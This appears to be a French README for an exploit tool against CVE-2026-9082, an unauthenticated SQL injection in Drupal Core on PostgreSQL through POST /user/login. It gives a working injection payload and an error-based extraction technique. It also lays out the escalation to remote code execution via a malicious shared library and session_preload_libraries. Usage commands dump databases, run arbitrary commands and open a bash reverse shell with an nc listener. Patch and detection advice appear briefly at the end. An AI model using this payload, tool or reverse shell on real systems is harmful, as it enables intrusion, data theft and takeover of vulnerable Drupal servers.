
SQLi PostgreSQL de Drupal Core à RCE via /user/login (CVE-2026-9082 / SA-CORE-2026-004)
Injection SQL non authentifiée dans Drupal Core sur PostgreSQL via POST /user/login, escaladée en exécution de code à distance via session_preload_libraries de PostgreSQL.
Contrairement aux exploits publics existants qui ciblent JSON:API, celui-ci utilise le point de terminaison de connexion — toujours disponible, aucun module ou contenu publié requis.
Avis : SA-CORE-2026-004 | Risque : 23/25 (Très critique) | CISA KEV
Seuls les sites Drupal utilisant PostgreSQL sont vulnérables.
| Branche | Vulnérable | Corrigée |
|---|
| 11.3.x | < 11.3.10 | 11.3.10 |
| 11.2.x | < 11.2.12 | 11.2.12 |
| 11.0.x - 11.1.x | < 11.1.10 | 11.1.10 |
| 10.6.x | < 10.6.9 | 10.6.9 |
| 10.5.x | < 10.5.10 | 10.5.10 |
| 10.4.x | < 10.4.10 | 10.4.10 |
| 8.9.x - 10.3.x | Toutes | Fin de vie - mettez à niveau |
Le gestionnaire de conditions de requête d'entité PostgreSQL de Drupal (core/modules/pgsql/src/EntityQuery/Condition.php) construit des conditions IN insensibles à la casse en itérant sur $condition['value'] comme un tableau associatif et en concaténant les clés contrôlées par l'utilisateur directement dans les identifiants de paramètres fictifs PDO — le SQL généré contient LOWER(:<prefix><key>) où <key> provient textuellement de l'attaquant.
Ce chemin de code n'est atteint que lorsque deux conditions sont remplies : is_array($condition['value']) et $case_sensitive === FALSE. C'est pourquoi seul PostgreSQL est concerné — MySQL et SQLite n'ont pas cette branche LOWER() insensible à la casse.
L'analyseur de paramètres nommés de PDO ne reconnaît que [a-zA-Z0-9_] après le :. Les caractères en dehors de cet ensemble (comme | ou )) terminent le jeton de paramètre fictif. Ainsi, une clé comme 0||(subquery) produit un paramètre fictif :prefix0 (partagé avec la clé légitime 0) plus du SQL littéral ||(subquery) qui atteint PostgreSQL sans paramètre.
Le correctif est un simple appel array_values() qui supprime les clés fournies par l'attaquant avant la génération SQL.
/user/login)POST /user/login?_format=json
{
"name": {
"0": "x",
"0||(SELECT CAST((SELECT version()) AS int))": "x"
},
"pass": "x"
}
Le champ name est envoyé comme un objet JSON au lieu d'une chaîne. Drupal le passe dans une condition IN de requête d'entité avec comparaison insensible à la casse. Pour chaque clé du tableau, Drupal génère LOWER(:<prefix><key>) dans le SQL. La requête résultante ressemble à :
LOWER("users_field_data"."name") IN (
LOWER(:users_field_data_name0),
LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)
PDO reconnaît :users_field_data_name0 comme paramètre fictif dans les deux entrées (s'arrêtant au | dans la seconde), et lie les deux à 'x'. Le reste ||(SELECT ...) passe en tant que SQL littéral. Après substitution, PostgreSQL reçoit :
LOWER(name) IN (
LOWER('x'),
LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)
Le CAST(... AS int) échoue sur des données non entières, et le message d'erreur divulgue le résultat de la requête.
Lorsque l'utilisateur de la base de données est un superutilisateur PostgreSQL, l'injection limitée à SELECT peut être escaladée en RCE :
data_directory, le statut de superutilisateur.so avec _PG_init() appelant system().so vers data_directory via des grands objets (lo_create -> lo_put -> lo_export)postgresql.auto.conf pour définir session_preload_libraries et dynamic_library_pathpg_reload_conf()pg_read_file()Injection SQL (cve_2026_9082_check.py) :
Exécution de code à distance (cve_2026_9082_rce.py) :
docker disponible localement (pour la compilation croisée sur macOS)pip install -r requirements.txt
# Validate the SQL injection
python3 cve_2026_9082_check.py http://target:8081
# With a proxy (Burp, mitmproxy, etc.)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080
# List all databases
python3 cve_2026_9082_sqli.py http://target:8081 --dbs
# List tables in a database
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables
# List columns in a table
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns
# Run a command
python3 cve_2026_9082_rce.py http://target:8081 "id"
# Reverse shell
python3 cve_2026_9082_rce.py http://target:8081 \
"bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"
# Listener
nc -lvnp 4444
Validation SQLi contre une instance vulnérable :

Énumération de bases de données via injection basée sur les erreurs :

Escalade vers l'exécution de code à distance :

Mettez à jour Drupal immédiatement vers une version corrigée :
Si vous ne pouvez pas mettre à jour immédiatement :
POST /user/login anormales avec des objets JSON dans le champ nameCorrectifs et détails : SA-CORE-2026-004
| Date | Événement |
|---|---|
| 2026-05-20 | Drupal publie SA-CORE-2026-004, correctifs publiés |
| 2026-05-22 | Exploitation active dans la nature, ajouté au CISA KEV |
| 2026-05-26 | Ambionics publie la technique SQLi-to-RCE via JSON:API |
| 2026-06-07 | Cet outil publié |
/user/login) décrit par bitk & jfellus (YesWeHack)session_preload_libraries) par N. Maccary / Ambionics (Lexfo)/user/login par r0m41nCet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives.
L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce logiciel. Obtenez toujours une autorisation appropriée avant de tester des systèmes que vous ne possédez pas.